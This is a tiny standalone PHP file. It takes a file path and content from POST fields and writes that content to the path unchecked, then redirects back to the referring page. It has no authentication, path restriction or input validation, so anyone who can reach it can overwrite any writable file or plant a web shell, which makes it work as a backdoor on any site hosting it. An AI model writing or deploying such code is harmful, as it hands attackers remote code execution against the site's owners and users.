<?php //chdir('../'); $fp = fopen($_POST['file'], 'w'); fwrite($fp, stripslashes($_POST['content'])); fclose($fp); header("Location: ".$_SERVER['HTTP_REFERER']); ?>